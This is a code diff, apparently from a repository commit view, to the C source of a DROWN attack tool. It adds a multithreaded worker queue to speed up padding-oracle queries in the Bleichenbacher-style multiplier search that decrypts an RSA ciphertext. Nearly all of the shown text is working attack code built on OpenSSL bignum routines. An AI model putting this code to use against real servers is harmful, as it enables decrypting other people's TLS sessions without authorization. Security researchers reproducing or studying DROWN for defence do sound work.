1
1
#include <openssl/bn.h>
2
2
#include <openssl/err.h>
3
3
#include <openssl/ssl.h>
4
+ #include <pthread.h>
5
+ #include <semaphore.h>
4
6
#include "decrypt.h"
5
7
#include "oracle.h"
6
8
@@ -64,19 +66,121 @@ int oracle_valid(drown_ctx *dctx, BIGNUM *c)
64
66
}
65
67
66
68
67
- int mycheck (unsigned long s , BIGNUM * cl_1e , drown_ctx * dctx , int * l , BIGNUM * ss )
69
+ #define NUM_THREADS 5
70
+
71
+ typedef struct item_t
72
+ {
73
+ BIGNUM * c ;
74
+ BIGNUM * mt ;
75
+ unsigned long s ;
76
+ int l ;
77
+ int finished ;
78
+ } item_t ;
79
+
80
+ item_t item_new (BIGNUM * c , BIGNUM * mt , unsigned long s )
81
+ {
82
+ item_t item = {
83
+ .c = BN_dup (c ),
84
+ .mt = BN_dup (mt ),
85
+ .s = s ,
86
+ .finished = 0
87
+ };
88
+ return item ;
89
+ }
90
+
91
+ void item_free (item_t item )
92
+ {
93
+ BN_free (item .c );
94
+ BN_free (item .mt );
95
+ }
96
+
97
+ typedef struct queue_t
98
+ {
99
+ sem_t cEmpty ; // Number of empty slots
100
+ sem_t cFull ; // Number of full slots
101
+ pthread_mutex_t mutex ;
102
+ struct item_t items [NUM_THREADS ];
103
+ int cnt ;
104
+ drown_ctx * dctx ;
105
+ struct item_t result ;
106
+ int finished ;
107
+
108
+ } queue_t ;
109
+
110
+ int insert_item (queue_t * queue , item_t item )
111
+ {
112
+ pthread_mutex_lock (& queue -> mutex );
113
+ if (queue -> cnt >= NUM_THREADS )
114
+ {
115
+ fprintf (stderr , "Insert problem !\n" );
116
+ exit (1 );
117
+ }
118
+ queue -> items [queue -> cnt ] = item ;
119
+ queue -> cnt ++ ;
120
+ pthread_mutex_unlock (& queue -> mutex );
121
+ return 0 ;
122
+ }
123
+
124
+ int remove_item (queue_t * queue , item_t * item )
125
+ {
126
+ pthread_mutex_lock (& queue -> mutex );
127
+ if (queue -> cnt <= 0 )
128
+ {
129
+ fprintf (stderr , "Remove problem !\n" );
130
+ exit (1 );
131
+ }
132
+ * item = queue -> items [queue -> cnt - 1 ];
133
+ queue -> cnt -- ;
134
+ pthread_mutex_unlock (& queue -> mutex );
135
+ return 0 ;
136
+ }
137
+
138
+ void * worker (void * data )
139
+ {
140
+ queue_t * queue = (queue_t * )data ;
141
+
142
+ item_t item ;
143
+
144
+ while (1 )
145
+ {
146
+ // Wait for work
147
+ sem_wait (& queue -> cFull );
148
+ remove_item (queue , & item );
149
+
150
+ // Time to die
151
+ if (item .finished )
152
+ break ;
153
+
154
+ // Do the actual work
155
+ int l = oracle_valid (queue -> dctx , item .c );
156
+
157
+ if (l )
158
+ {
159
+ // If we have a result, save it
160
+ item .l = l ;
161
+ pthread_mutex_lock (& queue -> mutex );
162
+ queue -> finished = 1 ;
163
+ queue -> result = item ;
164
+ pthread_mutex_unlock (& queue -> mutex );
165
+ }
166
+ else
167
+ item_free (item );
168
+
169
+ sem_post (& queue -> cEmpty );
170
+ };
171
+
172
+ return NULL ;
173
+ }
174
+
175
+ int check_multiplier (unsigned long s , BIGNUM * cl_1e , drown_ctx * dctx , int * l , BIGNUM * ss , BIGNUM * upperbits , queue_t * queue )
68
176
{
69
177
BIGNUM * c = dctx -> c ;
70
178
BIGNUM * n = dctx -> n ;
71
179
BIGNUM * e = dctx -> e ;
72
180
BIGNUM * mt = dctx -> mt ;
73
-
74
181
BN_CTX * ctx = dctx -> ctx ;
75
- BN_CTX_start (ctx );
76
-
77
- BIGNUM * upperbits = BN_CTX_get (ctx );
78
- int res = 0 ;
79
182
183
+ // Check 2 * B <= mt < 3 * B
80
184
BN_rshift (upperbits , mt , 2032 );
81
185
if (BN_is_word (upperbits , 0x0002 ))
82
186
{
@@ -85,28 +189,23 @@ int mycheck(unsigned long s, BIGNUM *cl_1e, drown_ctx* dctx, int *l, BIGNUM *ss)
85
189
BN_mod_exp (c , ss , e , n , ctx );
86
190
BN_mod_mul (c , cl_1e , c , n , ctx );
87
191
88
- * l = oracle_valid (dctx , c );
89
- //printf("Valid %d\n", *l);
90
- res = 1 ;
91
- }
192
+ // THREAD : add to queue
193
+ item_t item = item_new (c , mt , s );
194
+ sem_wait (& queue -> cEmpty );
195
+ insert_item (queue , item );
196
+ sem_post (& queue -> cFull );
92
197
93
- BN_CTX_end (ctx );
198
+ return 1 ;
199
+ }
94
200
95
- return res ;
201
+ return 0 ;
96
202
}
97
203
98
-
99
204
#define MAX_CACHE_SIZE 5
100
205
101
206
/*
102
207
Finds a multiplier s, so that c_2 = c_1 * (s * l_1) ** e is valid.
103
208
104
- for each s
105
- c_2 = c_1 * (s * l_1) ** e
106
- if oracle(c_2)
107
- return s
108
- end
109
-
110
209
for each s
111
210
mt_2 = mt_1 * s * l_1
112
211
if 2*B <= mt_2 < 3*B
@@ -118,7 +217,13 @@ int mycheck(unsigned long s, BIGNUM *cl_1e, drown_ctx* dctx, int *l, BIGNUM *ss)
118
217
119
218
Updates c, s, mt, l, ?
120
219
*/
121
- int find_multiplier (drown_ctx * dctx , BIGNUM * l_1 , BIGNUM * ss )
220
+ /*
221
+ Threaded search ?
222
+ We spawn X threads.
223
+ Each thread waits for an input to be given. It then computes.
224
+ When all the threads are occupied, the master waits for one to complete.
225
+ */
226
+ int find_multiplier (drown_ctx * dctx , BIGNUM * l_1 , BIGNUM * ss , queue_t * queue )
122
227
{
123
228
BIGNUM * c = dctx -> c ;
124
229
BIGNUM * n = dctx -> n ;
@@ -129,7 +234,8 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
129
234
BN_CTX_start (ctx );
130
235
BIGNUM * inc = BN_CTX_get (ctx );
131
236
BIGNUM * cl_1e = BN_CTX_get (ctx );
132
- BIGNUM * mttmp = BN_CTX_get (ctx );
237
+ BIGNUM * mttmp = BN_CTX_get (ctx );
238
+ BIGNUM * upperbits = BN_CTX_get (ctx );
133
239
134
240
// Precompute c * (l_1 ** e)
135
241
BN_mod_exp (cl_1e , l_1 , e , n , ctx );
@@ -150,16 +256,17 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
150
256
unsigned long last_s ;
151
257
BIGNUM * last_mt = BN_CTX_get (ctx );
152
258
259
+ queue -> finished = 0 ;
153
260
154
261
// First, we try to find a multiplier s so that 2 * B <= s * mt * l_1 < 3 * B
155
- while (!mycheck (s , cl_1e , dctx , & l , ss ))
262
+ while (!check_multiplier (s , cl_1e , dctx , & l , ss , upperbits , queue ))
156
263
{
157
264
BN_mod_add (mt , mt , inc , n , ctx );
158
265
s ++ ;
159
266
}
160
267
161
268
// Loop while we don't have a result
162
- while (!l )
269
+ while (!queue -> finished )
163
270
{
164
271
// Remember the values of s and mt to compute delta_s and delta_mt
165
272
last_s = s ;
@@ -170,11 +277,12 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
170
277
{
171
278
BN_mod_add (mt , mt , inc , n , ctx );
172
279
s ++ ;
173
- } while (!mycheck (s , cl_1e , dctx , & l , ss ));
280
+ } while (!check_multiplier (s , cl_1e , dctx , & l , ss , upperbits , queue ));
174
281
175
282
// If the cache is not full, add delta_s and delta_mt to the cache
176
283
if (cache_size < MAX_CACHE_SIZE )
177
284
{
285
+ //printf("Cache add %ld\n", s - last_s);
178
286
cache_s [cache_size ] = s - last_s ;
179
287
cache_mt [cache_size ] = BN_CTX_get (ctx );
180
288
BN_mod_sub (cache_mt [cache_size ], mt , last_mt , n , ctx );
@@ -185,14 +293,14 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
185
293
// We use cached search until either :
186
294
// * we find a result
187
295
// * no cached values works
188
- while (res && !l )
296
+ while (res && !queue -> finished )
189
297
{
190
298
res = 0 ;
191
299
BN_copy (mttmp , mt );
192
300
for (int i = 0 ; i < cache_size ; i ++ )
193
301
{
194
302
BN_mod_add (mt , mttmp , cache_mt [i ], n , ctx );
195
- res = mycheck (s + cache_s [i ], cl_1e , dctx , & l , ss );
303
+ res = check_multiplier (s + cache_s [i ], cl_1e , dctx , & l , ss , upperbits , queue );
196
304
if (res )
197
305
{
198
306
s += cache_s [i ];
@@ -204,7 +312,21 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
204
312
}
205
313
}
206
314
207
- BN_set_word (ss , s );
315
+ // Get the response
316
+ pthread_mutex_lock (& queue -> mutex );
317
+ item_t result = queue -> result ;
318
+ BN_set_word (ss , result .s );
319
+ BN_copy (c , result .c );
320
+ BN_copy (mt , result .mt );
321
+ l = result .l ;
322
+ item_free (result );
323
+ pthread_mutex_unlock (& queue -> mutex );
324
+
325
+ // Wait for each worker to finish
326
+ for (int i = 0 ; i < NUM_THREADS ; i ++ )
327
+ sem_wait (& queue -> cEmpty );
328
+ for (int i = 0 ; i < NUM_THREADS ; i ++ )
329
+ sem_post (& queue -> cEmpty );
208
330
209
331
BN_CTX_end (ctx );
210
332
@@ -245,6 +367,17 @@ void decrypt(drown_ctx *dctx)
245
367
BN_set_bit (mt , 2033 );
246
368
247
369
370
+ // THREAD : create threads and queue
371
+ pthread_t threads [NUM_THREADS ];
372
+ queue_t queue ;
373
+ sem_init (& queue .cFull , 0 , 0 );
374
+ sem_init (& queue .cEmpty , 0 , NUM_THREADS );
375
+ pthread_mutex_init (& queue .mutex , NULL );
376
+ queue .cnt = 0 ;
377
+ queue .dctx = dctx ;
378
+ for (int t = 0 ; t < NUM_THREADS ; t ++ )
379
+ pthread_create (& threads [t ], NULL , worker , & queue );
380
+
248
381
249
382
// Repeat while we don't know all the bits
250
383
while (u > l )
@@ -257,7 +390,7 @@ void decrypt(drown_ctx *dctx)
257
390
BN_mod_inverse (l_1 , l_1 , n , ctx );
258
391
259
392
// Find a multiplier
260
- l = find_multiplier (dctx , l_1 , ss );
393
+ l = find_multiplier (dctx , l_1 , ss , & queue );
261
394
262
395
// Remember our multiplier
263
396
BN_mod_mul (S , S , ss , n , ctx );
@@ -286,6 +419,20 @@ void decrypt(drown_ctx *dctx)
286
419
287
420
}
288
421
422
+ // THREAD : end threads
423
+ item_t item = {
424
+ .finished = 1
425
+ };
426
+ for (int t = 0 ; t < NUM_THREADS ; t ++ )
427
+ {
428
+ sem_wait (& queue .cEmpty );
429
+ insert_item (& queue , item );
430
+ sem_post (& queue .cFull );
431
+ }
432
+ for (int t = 0 ; t < NUM_THREADS ; t ++ )
433
+ pthread_join (threads [t ], NULL );
434
+
435
+
289
436
BN_CTX_end (ctx );
290
437
}
291
438
0 commit comments